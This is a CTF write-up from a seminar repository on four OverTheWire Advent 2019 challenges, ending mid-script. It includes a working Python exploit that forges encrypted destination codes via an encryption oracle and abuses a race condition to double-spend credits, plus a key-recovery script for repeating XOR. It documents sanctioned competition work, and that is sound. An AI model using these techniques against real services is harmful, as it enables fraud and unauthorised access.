add writeup for asis19/close-primes

[pub/jan/ctf-seminar.git] / writeups / superwayne / overthewire2019.md

# OverTheWire Advent Bonanza 2019

## Retrospective

All in all, the CTF was very pleasant for me because the challenges were interesting to solve, there was quite some time available as well (I spent about two weeks on and off on it) and I also managed to solve a few challenges as well.

I spent about three days (24 hours) on the report.

## day-12 naughty list

### Meta

* **Spent time:** 30 hours
* **Solved:** by w0y
* **Difficulty:** medium (+ guessing)

### Description

> Santa has been abusing his power and is union busting us elves. Any elves caught participating in union related activities have been put on a naughty list, if you can get me off the list I will give you a flag. 

The challenge features a simple web interface with three pages reachable from the homepage: Home, contact and login. Further, you can also register an account. The contact page is a dead end, however, and not relevant to the challenge. The main functionality is exposed after registering and logging in: Registered users can *transfer* credits to another user. After registration, a user has initially 1 credit, see the image below:

![Naught List](otw2019/naughtylist.png)

It is possible to transfer the credit to the given destination code. The destination code changes after a refresh. In the credit field, it says *1 / 5000*, i. e. 1 credit out of 5000.

**Goal:** The goal is to have an account with 5000 credits to get the flag.

### Solution

#### Unsuccessful attempts

In the beginning, it was not totally clear that we had to forge a destination code. Therefore we also tried to mess around with the page parameter to try out if file inclusion would be possible. We found out that requesting http://3.93.128.89:1212/a/ still shows the original site (but breaks the styling) and also used the oracle (described blow) to request `000000000000` and `\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`. The idea was to be somehow decrypt the destination code by XORing it with the result of the encrypted 0 bytes, or something similar. In the end, however, these attempts were not fruitful.

#### Forging destination codes

To achieve the goal of 5000 credits we have to find out how to transfer credits to a user that we control. This turned out to be quite hard and involved some guesswork which made the challenge a bit annoying in my opinion.

The destination code is *base64url*-encoded. Decoding a destination code, e. g. `6GeVE89hSydXhCljZHIyTjEwQ3BlbnQra0xxOY9ceqtQiNEDWPds8K`, reveals that there is another base64 string inside:

```
$ echo 6GeVE89hSydXhCljZHIyTjEwQ3BlbnQra0xxOY9ceqtQiNEDWPds8K-fTD8 | sed -e 's/-/+/g' -e 's#_#/#g' -e 's/$/=/g' | base64 -d | hd
00000000  e8 67 95 13 cf 61 4b 27  57 84 29 63 64 72 32 4e  |.g...aK'W.)cdr2N|
00000010  31 30 43 70 65 6e 74 2b  6b 4c 71 39 8f 5c 7a ab  |10Cpent+kLq9.\z.|
00000020  50 88 d1 03 58 f7 6c f0  af 9f 4c 3f              |P...X.l...L?|
0000002c
```

If we send a credit to the destination code, the response is: "Successfully transferred 1 credits to santa." It is therefore likely that the destination code contains the username in an encrypted (and signed?) way.

Clicking around on the page quickly reveals that the URLs for accessing Contact, Account, Login contain a string that is similar to the destination code. The URL for account is, for example: http://3.93.128.89:1212/?page=HTv6mUVltvgRV3DHN2dSSVhaMlhwQT09-qpBqw01iH2-qnyuzEU7Ow Interestingly enough, the URL changes on every refresh but old URLs can still be accessed. Decoding the different strings shows that the base64 encoded payload inside of them correlates correlates with the lengths of "contact", "account", "login". 

This leads to the following theory: The decoded string contains IV (12 bytes), a base64 encoded ciphertext (where the plaintext is `contact`, `account` or `login` for the pages and something else for a destination code) and a signature (16 bytes).

To transfer credits we now have to find out two things:

1. How do we encrypt and sign data that we control?
2. What data do we need to encrypt and sign?

Solving 1 was easy: If we access http://3.93.128.89:1212/?page=1 we are redirected to http://3.93.128.89:1212/?page=404&from_page=VFBTJgMHkLfWVJ3WVkE9PZAHUM8279yZcF5Xy8Nb71A. The `from_page` parameter contains our given `1` in an encrypted and signed form, i. e. we have discovered a way to encrypt and sign arbitrary data!

Solving 2 was hard: The length of the ciphertext for the user "santa" is longer (12 bytes vs. 5 bytes) than the username "santa". Also, encrypting "a" and using the result as a destination code to transfer credits to the user "a" does not work. I tried `target=santa` and other variations, but was out of luck. At this point I already gave up and focused on other challenges.

About a week later, @lavish appeared and was trying to solve the challenge as well. We speculated about different approaches how to solve the challenge. One idea was to use an SQL injection because of the "NO UNION" "hint" on the homepage. After some time, however, he found out how to forge the destination code and send credits to arbitrary users. He used the oracle to encrypt `lavish:ciaociao` and used the result as a destination code. The error message `That user does not exist in our system.` was different than `Invalid destination code.` which hinted that a part of the plaintext was indeed interpreted as a username. It quickly became clear that the plaintext is split on ":" and the second part is used as a destination username.

With this knowledge, it is easy to send a credit to an arbitrary user: Use the oracle to encrypt and sign `target:<username>` and use the result as a destination code to transfer the credit to an account that we control.

There is just one problem left: We would need to do this 5000 times, but the website only allows to create 15 accounts per hour per IP address: `Sorry little elf, only 15 accounts per hour`. An easy solution would be to circumvent the check by using proxies but we can use a second vulnerability.

#### Transferring more than one credit

We quickly discovered that sending a credit always takes about 1 s which is far too long for a simple update/insert transaction in the database. We found out that sending a credit is vulnerable to a race condition, i. e. a double spending attack is possible by sending the request multiple times in parallel. This allows to transfer more credits than the user actually has but also that only one credit is deducted even if more than one is sent (i.e. credits are created). 

#### Final exploit

The final exploit was crafted by @lavish and is here for reference:

```python
import re
import random
import string
import requests

import multiprocessing as mp


URL = 'http://3.93.128.89:1212/'
ALPHABET = string.ascii_lowercase + string.digits


def rand_str(length=12):
    return ''.join(random.choice(ALPHABET) for _ in range(length))


def get_token(user):
    r = requests.get(f'{URL}?page=target:{user}')
    token = re.findall('from_page=(.*)', r.url)[0]

    return token


def register(user, password):
    s = requests.Session()
    
    r = s.get(URL)
    page_login = re.findall('page=([a-zA-Z0-9_-]+?)">Login</a>', r.text)[0]

    r = s.get(f'{URL}?page={page_login}')
    page_register = re.findall('page=([a-zA-Z0-9_-]+?)">register</a>', r.text)[0]

    r = s.post(f'{URL}?page={page_register}', data={
        'username': user,
        'password': password,
        'confirm': password
    })

    return 'ou registered successfully' in r.text


def login(user, password):
    s = requests.Session()
    
    r = s.get(URL)
    page_login = re.findall('page=([a-zA-Z0-9_-]+?)">Login</a>', r.text)[0]

    r = s.post(f'{URL}?page={page_login}', allow_redirects=True, data={
        'username': user,
        'password': password,
    })
    
    page_submit = re.findall('action="/\?page=([a-zA-Z0-9_-]+?)">', r.text)[0]

    return s, page_submit


def send(args):
    s, page_submit, token = args

    r = s.post(f'{URL}?page={page_submit}', data={
            'credits': 500,
            'destination': token
    })

    return 'Successfully transferred' in r.text


def login_and_send(user, password, token):
    s, page_submit = login(user, password)
    pool = mp.Pool(processes=50)
    pool.map(send, [(s, page_submit, token) for _ in range(50)])


def fuckusanta():
    # reg users
    # users = []
    # for _ in range(12):
    #     user, password = rand_str(), rand_str()
    #     if register(user, password):
    #         token = get_token(user)
    #         session, page_submit = login(user, password)
    #         print(f'[*] User created: {user}, {password}, {token}')
    #         users.append({
    #             'user': user,
    #             'password': password,
    #             'token': token,
    #             'session': session,
    #             'page_submit': page_submit
    #         })
    #     else:
    #         print(f'[!] Unable to create user {user}')

    # main_token = users[0]['token']
    # for user in users:
    #     pool = mp.Pool(processes=100)
    #     pool.map(send, [(user['session'], user['page_submit'], main_token) for _ in range(100)])

    h_users = [
        ('3oe7hyjnnvvk', 'cpkxykzrlpl2', 'R_OLjv1ZFXHvHJZtdEg1djB1Y2tKM3FzQUMybllFeVZaYkgyU3c9PZV3TUq1Udb-IWr_bC_DOFk'),
        ('vjabtcku7mbl', 'l0fen6ufvlzw', '50kyihj0QWhbswaHTExlNVltUjZtSHFKTzhZYXdiOEZlSXFGRVE9PY_JKb4UGcM-zmoWMTi7xYU'),
        ('7f2yro27d4xz', 'ko35w4ieiy3k', 'mw3672GIiASgwQRtSjA0VnVjdzc3WHkxOUpkeG5GT3UyNmtIQnc9PXG7xAbpQpNVVPWZzwv8h4c'),
        ('z9mdjfitzxus', 'w7ruiprwgzyq', 'kG5I8tB0mtwJESMkQnVqNElKWGEvSlpsR3B4dEsyRXhBSDA0NXc9PSqV93MpDrkGVqPXWErAM-U'),
        ('yfs8a88y1evf', 'u5bkpcoqbvp5', 'sx3gfohSs_PE76ldbHJnSlQ5ak9rMDFRaTA4YXVWU2x6QUpsN1E9PaIX54M-BA00_mwv5mWaKtw'),
        ('8butphdud1gz', '325t6pqfcpvv', 'CNykSE2AZl7_xg_reHZUZmtLRDEybGhCQ1U4ZS84OEdGc2t2NEE9PQHJuWd1Df6EBjXgCkRrPVw'),
        ('tlo866zq6ck6', 'otrhcwlzqotm', '6G--sFvqFKK3n942UTk5YzZkd0YzMTV5ZmpyOG5LbkF1R2tma3c9PbgEsP9B3guFIz4wi0YzkhM'),
        ('3t9qa1t8wece', 'jalyggfus1zr', 'U0YMHL6LwoKTSsfLQmlyRk1lMWZqL2ZMMG51MnRteTFjcVRZSnc9PbMOFMwtpITcW0RhQMNfYiM'),
        ('qm5ucffjdz1y', 'y8kmeetu36rj', 'hs5fQFFwg_BMyyWtL2dNZWtWeW9hdFk5N0FWZVg5QVVTamJrVWc9PY1blxGAo-tDxBdinhNrOuY'),
        ('yuq10qdrt9u6', 'c63fdgw9gqds', 'yZJ5vAsKhUu5F3bJM1I4ZkJKZ2E3aDVnQzdmMjhuZi9TVWttOVE9PebmE1yJhtotk3uJc3Or27g'),
        ('0emnmz2pc4li', 'rkobi4lpuqnu', 'Wm-4ytIhJz3fnELBVDF4VmExUEY1K2QyOVdBU2lMQ2tQOFoyeGc9PVZS_BI68wVQtbTObrNw3h0'),
        ('aeda8cr3f3k8', 'nf3k260ioetc', 'lEhq6yvqVZmQaMagOHY4SDE1Q1lpWSsyUkI1b1ZzSUMvelFWTkE9Pa_cat7BX9yUF1a2WASeGqg')
    ]
    main_token = h_users[0][2]
    src_user = h_users[1]
    login_and_send(src_user[0], src_user[1], main_token)


if __name__ == '__main__':
    fuckusanta()
```

This allowed us to collect the flag: `AOTW{S4n7A_c4nT_hAv3_3lF-cOnTroL_wi7H0uT_eLf-d1sCipl1N3}`

## day-14 tiny runes

### Meta

* **Spent time:** 2 hours
* **Solved:** by myself
* **Difficulty:** easy

### Description

> One of Santa's Little Helpers received an unusual Christmas wish, a copy of the yet to be released Deus Hex game. All they managed to find were fragments from the dialogue system. Can you decode the last one? 

Given where the following files in an archive:

```
.
├── lines1.bin
├── lines1.png
├── lines1.txt
├── lines2.bin
├── lines2.png
├── lines2.txt
├── lines3.bin
├── lines3.png
├── lines3.txt
└── lines4.bin
```

**Goal:** The goal is to decode `lines4.bin` into `lines3.txt`.

### Analysis

The `*.bin` files all start with the following byte sequence:

```
00000000  54 69 4e 79 4d 65 54 61  00 00 00 10 00 00 00 02  |TiNyMeTa........|
```

This indicates some kind of magic (`TiNyMeTa`) but also a header with positions/length. The bin files contain an embedded PNG file starting from byte 89:

```
00000020  00 00 03 01 89 50 4e 47  0d 0a 1a 0a 00 00 00 0d  |.....PNG........|
```

This embedded image is the same in all files:

![runes](otw2019/runes.png)

Looking at the images (`lines1.png`, etc.), we can see that the image is used for rendering the text. What text to render is also part of the `.bin` file:

```
00000000  4c 69 4e 65 00 00 00 3c  05 01 03 0a 04 08 06 09  |LiNe...<........|
00000010  03 07 00 05 00 0a 01 0b  00 05 02 07 04 08 06 07  |................|
00000020  00 04 03 0b 07 0a 05 0b  05 09 05 09 05 09 04 08  |................|
00000030  02 05 05 09 05 09 05 09  04 08 02 05 05 09 05 09  |................|
00000040  05 09 06 07 4c 69 4e 65  00 00 00 54 05 01 03 0a  |....LiNe...T....|
00000050  04 08 06 09 03 07 00 05  00 0a 01 0b 00 05 02 07  |................|
00000060  04 08 06 07 02 05 04 08  00 0a 00 09 01 0b 07 0a  |................|
00000070  01 07 00 09 00 0a 04 08  05 07 01 0b 07 0a 04 08  |................|
00000080  00 06 03 07 07 03 03 07  04 08 03 0b 04 08 01 06  |................|
00000090  04 03 00 04 04 08 01 07  07 0a 00 05 05 09 06 07  |................|
```

Every line segment starts with `4c 69 4e 65 (LiNe)`, followed by the length of the line as a 4 byte value. Every plain text byte takes 2 bytes in the encoded line. The first byte maps to the column, the second one to the line in the embedded image (indices starting from 0).

This can be easily automated in Python.

#### Final exploit

```python
MAP = """Q?0\H$Y,
R-L^KJ?k
s#_/m=f9
7d-NE4qr
Pi?V'&XA
n3I?O*;Z
wGpB8cSj
Fg:eby"v
%+?1 !M@
h{2xW.D}
tU|CTz6u
Io>a5l<'
""".split("\n")

with open("lines4.bin", "rb") as f:
    lines = f.read().split(b"LiNe")[1:]

for line in lines:
    line = line[4:]  # skip the length
    for column, row in zip(line[::2], line[1::2]):
        print(MAP[row][column], end="")
    print()
```

Executing the script prints the flag:

```
Jock: "Oh my God! JC! A flag!"
JC Denton: "A flag! AOTW{wh4t_4_r0tt3n_fi13_f0rm4t}"
```

## day-15 self replicating toy

### Meta

* **Spent time:** 30 hours
* **Solved:** by myself
* **Difficulty:** medium, but time-consuming

### Description

> Can you design your own self-replicating toy? 

Along with an IP address/port there is also the file chal.c given: https://advent2019.s3.amazonaws.com/dc3f15513e6d0ca076135b4a05fa954d62938670ddd7db88168d68c00e488b87-chal.c

The file chal.c contains the implementation of a custom stack-based virtual machine. The machine operates on three  main stacks: data, code and output. There are also 32 "scratch stacks" which are called "functions". The VM operates on instructions given on the code stack. Every instruction has one byte.

The goal of the challenge is to construct a quine for the virtual machine. A quine is a program fragment that outputs itself. In case of the VM, this means that the output stack contains the same bytes at the end of the execution as the code stack in the beginning of the execution.

### Analysis

The main method of the challenge contains the following code:

```C
  puts("Enter your Assemblium sequence:");
  unsigned char *user_code = malloc(length);
  for (int i = 0; i < length; i++) {
    read(0, user_code + i, 1);
  }
  vm_state vm = new_vm_state();
  for (int i = length - 1; i >= 0; i--) {
    push_stack(vm.code, user_code[i]);
  }
  while (vm.code->size > 0) {
    execute_one_inst(&vm);
  }
  if (length != vm.output->size) {
    goto fail;
  }
  for (int i = 0; i < length; i++) {
    if (vm.output->data[i] != user_code[i]) {
      goto fail;
    }
  }
  print_flag();
```

The *Assemblium* sequence (i. e. instructions for the custom instruction set) are read from stdin and pushed to the VM's code stack. Then the instructions are executed one by one using the `execute_one_inst(&vm)` function. If the output of the VM, i. e. the output stack, contains the same bytes as the given user code, the flag is printed. This is called a *quine* (see also https://en.wikipedia.org/wiki/Quine_(computing)):

> A quine is a computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are "self-replicating programs", "self-reproducing programs", and "self-copying programs". 

Quines are usually built around the following principle (see also https://cs.lmu.edu/~ray/notes/quineprograms/):

> The classic way to produce a self-printing program has two steps:
> 
> 1. Initialize a string variable, with a placeholder for interpolation.
> 
> 2. Print the string, interpolating the string into itself. 

Therefore we have to analyze the instruction set to find out how we can apply these principles.

To get an inspiration, let us look at quines in other assembly languages (see also https://codegolf.stackexchange.com/a/5742). The following quine, for example, is written in gas for x86 Linux:

```
.globl main
main:movw $34,B+86
push $B+1
call puts
call puts
pop B
ret
.data
B:.ascii"
.globl main
main:movw $34,B+86
push $B+1
call puts
call puts
pop B
ret
.data
B:.ascii"
```

We can see that the previously mentioned principles are applied: There is a string (`B`) that contains the program code that prints the string. To interpolate the string into itself, `puts()` is simply called twice. The idea of this quine to have a string and print the string twice can be applied to our own instruction set.

#### Basic idea

To abstract the idea of the GAS x86 quine: we have to build a string that contains two print instructions, and then print that string two times.

Let's first imagine an instruction set in which the *first two bytes* of the given instructions are *always* interpreted as a literal (i. e. as a string) and the two following instructions are interpreted according to the semantics of the instruction set (i. e. as code). This is a simplification of the given instruction set but we can iterate from there once we understand how to make a quine in this simplified environment. If the print instruction in that instruction set is `0xb0`, the quine would be simply `0xb0 0xb0 0xb0 0xb0`. The first two bytes are the literal which would be put on the data stack. The next two bytes are interpreted as *print what is on the stack* (but without destroying it). The result is that `0xb0 0xb0 0xb0 0xb0` is printed (i. e. written to the output stack).

So far so good but our instruction set is far more flexible so we have to be more creative. 

First, not the first n bytes are interpreted as a literal but only bytes that are less than 0x80, i. e. where the MSB is not set. This means that the instruction set is split into two halves: The first half (everything below 0x80) is interpreted as a literal byte and copied to the data stack, the second half (everything >= 0x80) is interpreted as code and the semantics depend on the byte as described above. This means that our literal cannot include the print instruction as-is because then it would not be a literal anymore. How can we solve this? We encode bytes which are >= 0x80 so that they are interpreted as data. So instead of using syntax to mark the bytes as data, we encode the bytes. This makes things slightly more complicated. The x86 quine has to deal with quotes being special as well but that's rather easy: `movw $34,B+86` inserts a quote at the end of the string. The string is then printed as-is using the `puts()` function.

We do something similar: We first print the data bytes as-is, then we print the instructions that printed the data bytes.

In an abstract way the quine looks as follows:

```
<encoded instructions E(I)> || <instructions I: print the data stack, decode and print the data stack>
```

When the program is executed, the following happens:

1. The data in the beginning of the program (i. e. the encoded instructions) are copied to the data stack.
2. The instructions after the data are executed. These instructions do the following:
   1. The content of the data stack is printed.
   2. The content of the data stack is decoded and printed.

This way, we have created a self-replication program: The encoded instructions are printed first, then the encoded instructions are decoded and printed which prints the actually executed instructions. Our program replicated itself.

Note how this is similar to the GAS x86 quine, except that the encoded instructions are at the beginning and not at the end and that we have to encode the instructions instead of simply using syntax (quotes in the case of GAS) to give the instructions as literal and not as code.

### Solution

To implement the concepts we have to solve the following problems:

1. Define a *variable-length* encoding scheme that takes bytes between 0x00 and 0xff and produces bytes between 0x00 and 0x7f. This encoding scheme has to be reversible with the given instruction set (it is not clear if the instruction set is Turing complete so we might be limited).
2. Define instructions that print the content of the data stack, decode the data stack using the scheme from (1) and print the decoded result.

#### Instruction set

First, we have to analyze the instruction set more deeply. Every instruction takes one byte. The instruction byte is interpreted as follows:

* < 0x80: pushed as-is to data
* 0x80: pop from data, XOR 0x80, push to data
* 0x81: pop from data, if 0 push 0xff, else push 0
* 0x82: pop a from data, pop b from data, push a & b to data
* 0x83: pop a from data, pop b from data, push a | b to data
* 0x84: pop a from data, pop b from data, push a ^ b to data
* 0x90: pop a from data, pop b from data, push a to to data, push b to data (= swap a and b)
* 0x91: pop from data, push twice to data
* 0xa0: pop function index from data, pop from data unless value is 0xa1, push to function index's data
* 0xb0: pop from data, push to output
* >=0xc0, <0xe0: push all function index's (index = inst - 0xc0) data to code (= call a function)
* >= 0xe0: pop from data, if != 0: push all function index's (index = inst - 0xe0) data to code (= call a function)

#### Implementation

##### Encoder

Our first task is to come up with an encoding scheme. The encoding scheme will encode every byte into three bytes which are guaranteed to be below `0x80`. This encoding is not very efficient in general: The encoded data is three times bigger than the original data but it is relatively easy to implement.

The encoding works as follows:

* Every byte `b` that is below `0x80` will be encoded as `0x01 0x10 b`.
* Every byte `b` that is `0x80` or above will be XORed with `0xff` and encoded as `0x11 0x11 b'`, where `b'` is the XORed byte.

**Example:** The bytes `0x1f 0xf1` are encoded as `0x01 0x10 0x1f 0x11 0x11 0x0e`.

The Python code for the encoding looks as follows:

```python
def encode(bytecode):
    result = bytearray()

    for b in bytecode:
        if b == 0:
            raise ValueError("0x00 is not supported!")
        elif b < 0x80:
            result.append(0x01)
            result.append(0x10)
            result.append(b)
        else:
            result.append(0x11)
            result.append(0x11)
            result.append(b ^ 0xff)

    result.append(0x00)  # end of encoded sequence

    return bytes(result)
```

Note that `0x00` cannot be encoded because it marks the end of the encoded sequence. We need to have such an end mark because of the variable length property. However, this is a viable limitation because it is possible to avoid having to encode null bytes.

This encoding scheme can be quite easily decoded with the following instructions:

* `0x84`: pop a from data, pop b from data, push `a ^ b` to data
* `0x81`: pop from data, if `0` push `0xff`, else push `0`

Thus, the instructions `0x84 0x81 0x84` reverse the encoding.

**Example:**

The bytes `0x01 0x10 0x1f 0x11 0x11 0x0e` are given on the data stack.

* `0x84` pops `0x01` and `0x10` from the stack and pushes `0x01 ^ 0x10 = 0x11` to the stack. `0x81` pops `0x11` from the stack, since it is not `0` it pushes `0` to the stack. `0x84` pops `0` and `0x1f` from the stack and pushes `0x1f ^ 0x00 = 0x1f` to the stack. `0x1f` is now on the stack which was the first byte in the original sequence.
* `0x84` pops `0x11` and `0x11` from the stack and pushes `0x11 ^ 0x11 = 0x00` to the stack. `0x81` pops `0x00` from the stack, since it is `0` it pushes `0xff` to the stack. `0x84` pops `0xff` and `0x0e` from the stack and pushes `0x0e ^ 0xff = 0xf1` to the stack. `0xf1` is now on the stack which was the second byte in the original sequence.

##### Jumps / loops

To run the decode instructions `0x84 0x81 0x84` in a loop, we resort to the following trick: The virtual machine supports the notion of "functions", i. e. 32 separate stacks that can hold code which can be executed more than once.  To decode all bytes until we reach `0x00` we create two functions which call each other ("ping pong"). There are special instructions which *conditionally* call a function. I. e. the function is only called if the top of the data stack is *not* `0x00`. We can use this to end the decoding by giving `0x00` on the stack at the end of the encoded sequence. (In x86 assembly, we would use `cmp` and `jnz` instead of the functions.)

##### Decoding and printing

Now that we know how to encode instructions, it is time to define instructions that print the content of the data stack, decode the data stack using the scheme from (1) and print the decoded result.

Let's start with instructions that print everything that is on the data stack. As described in the *Jumps / loops* section, we will use functions because the language does not support jumps or loops.

First, we define the the *ping* function. This function executes the following instructions: `0x91 0xb0 0xe3`

1. `0x91`: Duplicate the value on the data stack
2. `0xb0`: Pop value from data stack, push to output stack (this is basically the "puts" in our virtual machine)
3. `0xe3`: Pop value from data stack, if value *is not* `0x00` call function 3 (the pong function)

We duplicate the value on the stack so that we can print it once (which is destructive) and still be able to check if it is not `0x00`.

Second, we define the *pong* function. This function executes the following instructions: `0x91 0xb0 0xe2`

This function does basically the same except that it calls function 2 instead of 3, i. e. the ping function.

Now that we know how the function bodies should look like, we need to know how functions are created.

Creating a function works like this: If the `0xa0` instruction is encountered, a value is popped from the data stack. This value is the *index* of the function (indices 0 to 31 are supported). Then, all values from the data stack are popped as long as `0xa1` is not encountered. Be aware that functions are created *in reverse order* due to the stack principle. I. e. the instruction that is executed at the end must go first. Further, we have to create the function code on the data stack.

In order to get instructions on the data stack we have to encode them (remember: only values < 0xb0 are copied as-is to the data stack). This is relatively simple: The `0x80` instruction pops the value from the data stack, XORs it with `0x80` and pushes the result.

The ping function looks like this when it is encoded: `0x21 0x80 0x63 0x80 0x30 0x80 0x11 0x80 0x02 0xa0`

* `0x21 ^ 0x80 = 0xa1`: marks the end of the function
* `0x63 ^ 0x80 = 0xe3`: call function 3
* `0x30 ^ 0x80 = 0xb0`: print
* `0x11 ^ 0x80 = 0x91`: duplicate
* `0x02`: index of function
* `0xa0`: create function

The pong function can be encoded in a similar fashion.

To call the print ping function, one instruction is enough: `0xc2` calls the function with index 2, i. e. the print ping function.

Encoding and printing works similar. The difference is that we have to include the decoding instructions before we print it.

##### Putting everything together

Now we create the final payload:

1. We encode the instructions using the encoding defined earlier and wrap the data into a function so that we can use it twice (once for printing as-is, once for decoding and printing).
2. We append the instructions for decoding and printing.

The final payload is then (without the newlines):

```
218001100111115f01102111114f01101101101111117
b11117f11114f11113e01102111117f01106311117f01
103011117f01101111117f01100211115f01102111117
f01106211117f01103011117f01101111117f01100311
115f11113d11113e01102111117f01106511117f01101
111117f01100411115f01102111117f01104411117f01
103011117f01100411117f01100111117f01100411117
f01100511115f11113b0001a021b011118480b0c12180
63803080118002a0218062803080118003a0c2c121806
580118004a021804480308004800180048005a0c4
```

A commented solution that creates the payload can be found in the repository in the file `vm-chal.py`.

Sending the payload to the server gives us the flag back: `AOTW{G0od_job_writing_y0ur_v3ry_0wN_quin3!}`

## day-17 snowflake idle

### Meta

* **Spent time:** 20 hours
* **Solved:** by w0y
* **Difficulty:** medium (+ guessing)

### Description

> It's not just leprechauns that hide their gold at the end of the rainbow, elves hide their candy there too.

No source code is given, just a link to a website: http://3.93.128.89:1217

The challenge is tagged as *crypto*/*web*.

The website shows a simple "game" where the user can collect snowflakes. Every x seconds, the user gets a new snowflake. Snowflakes can be traded for a higher collection speed. If the user decides to trade their snowflakes, the snowflakes are deducted from the balance but in the same x seconds the user can collect more snowflakes now. If the user collects 10^63 snowflakes, they could trade it for a flag.

The website uses JavaScript on the front-end and communicates with the server via a JSON API. The server is implemented in Flask.

### Analysis

Of course, it is not feasible to collect that many snowflakes without cheating so we have to find a vulnerability.

#### Unsuccessful attempts

**Manipulating the session ID**

The server generates an ID upon starting the game, e. g. `/B5JdjWnoW4oUb7FMPGELnQo7WuQyVJ3Wr7N931EZtg=`. That ID is used as a session identifier. Collecting 1000 samples of fresh IDs and running `ent` on it shows that it cannot be ruled out that the ID is randomly generated:

```
Entropy = 7.994904 bits per byte.

Optimum compression would reduce the size
of this 32000 byte file by 0 percent.

Chi square distribution for 32000 samples is 224.32, and randomly
would exceed this value 91.73 percent of the times.

Arithmetic mean value of data bytes is 127.7340 (127.5 = random).
Monte Carlo value for Pi is 3.157697356 (error 0.51 percent).
Serial correlation coefficient is -0.006148 (totally uncorrelated = 0.0).
```

Analyzing and playing with the session ID turned out to be a dead-end.

**Melting more snow flakes than available**

It is possible to melt more snow flakes than collected, however, this was a dead-end as well. The snow flake count simply went negative, no underflow happened.

**Manipulating requests to the `client` endpoint**

Any given `action` to the `/client` endpoint is saved as-is in the database and will be happily returned by the `/history/client` endpoint. Unfortunately, this is not an XSS challenge and this did not really allowed us to do anything useful.

#### Endpoints

Since the source code of the challenge is not released, we basically have to resort to educated guessing. Since the session identifier does not seem to be vulnerable in any obvious way, we investigated the endpoints.

##### `/control`

The `/control` endpoint is used register a new user:

```
POST /control

{"action":"new","name":"username"}
```

##### `/client`

The `/client` endpoint is the "main" endpoint (HTTP method: POST) that the front-end uses to e. g. request the state, increase the collection speed or collect a snow flake:

```
POST /client

{"action":"collect","amount":1}
```

##### `/history/client`

Most interesting is the `/history/client` endpoint. Sending a GET request to that endpoint returns a JSON that basically contains a log of all actions that the client requested:

```
[
    [
        1576940433927,
        {
            "action": "state"
        }
    ],
    [
        1576940435274,
        {
            "action": "collect",
            "amount": 1
        }
    ],
    ...
]
```

Interestingly, any given `action` is saved as-is in the database and will be happily returned by the `/history/client` endpoint. Unfortunately, this is not an XSS challenge and this does not really allow us to do anything useful.

##### `/history/control`

What we did not realize for a long time was that the `/history` endpoint happily retrieves the history for *other* endpoints as well. I. e. `/history/control` returns data for the `/control` endpoint.

```
[
   [
      1578852889691,
      {
         "action" : "load"
      }
   ],
   [
      1578852889691,
      {
         "data" : "nQZ2wk0avgzGKhYR4Sy5io/o55SCBiGNElPnDJJrS1rzOrmKievng4hFdsgBAg==",
         "action" : "save"
      }
   ],
(...)
]
```

This immediately piqued our interest because ...

1. The `control` endpoint takes an `action` parameter with value `save` but the web interface only exposes the action `new`.
2. The `control` endpoint apparently also takes a `data` parameter which could be interesting for manipulate the server side state.

Decoding the data leads to binary data which is good: We knew that we discovered the crypto part of the challenge.

### Exploit

*Note that the following is not 100% "historically" accurate but a streamlined version of what we did and how we succeeded to make the write-up easier to follow.*

#### Getting the key

We then tried to use a really long username like `xxx...xxx` (200 times `x` repeated) to check if we can spot a pattern in the data.

This was actually quite successful (spaces added for better readability):

```
80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3

dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK

0s/Q==
```

Clearly a pattern emerged because parts of the ciphertext repeated itself. This is obviously bad!

The hypothesis that we came to was that the username has to be obviously included in the ciphertext and the ciphertext is only XORed with the key. The key repeats itself because we can see patterns. This means that it should be possible to retrieve the key by XORing everything with repeated 'x'.

```
>>> binascii.hexlify(bytes(data[i] ^ ord(b'x') for i in range(len(data))))
b'8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f0e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d55485'
``` 

Reformatting the result makes the repeating pattern obvious:
  
```
8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f

0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5

5485
```

However, it is unlikely that the key starts with the beginning of the `x` sequence. Therefore we will try all possible combinations (luckily there are only 20):

```python
import base64
import binascii

def key_candidate(key):
    for i in range(len(key)):
        yield key[i + 1:] + key[:i + 1]


data = base64.b64decode('80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK0s/Q==')
key = binascii.unhexlify('0e8030e88865729c2fab0a6956239f3a994b60d5')

for key in key_candidate(key):
    plaintext = "".join(chr(data[i] ^ key[i % len(key)]) for i in range(len(data)))
    try:
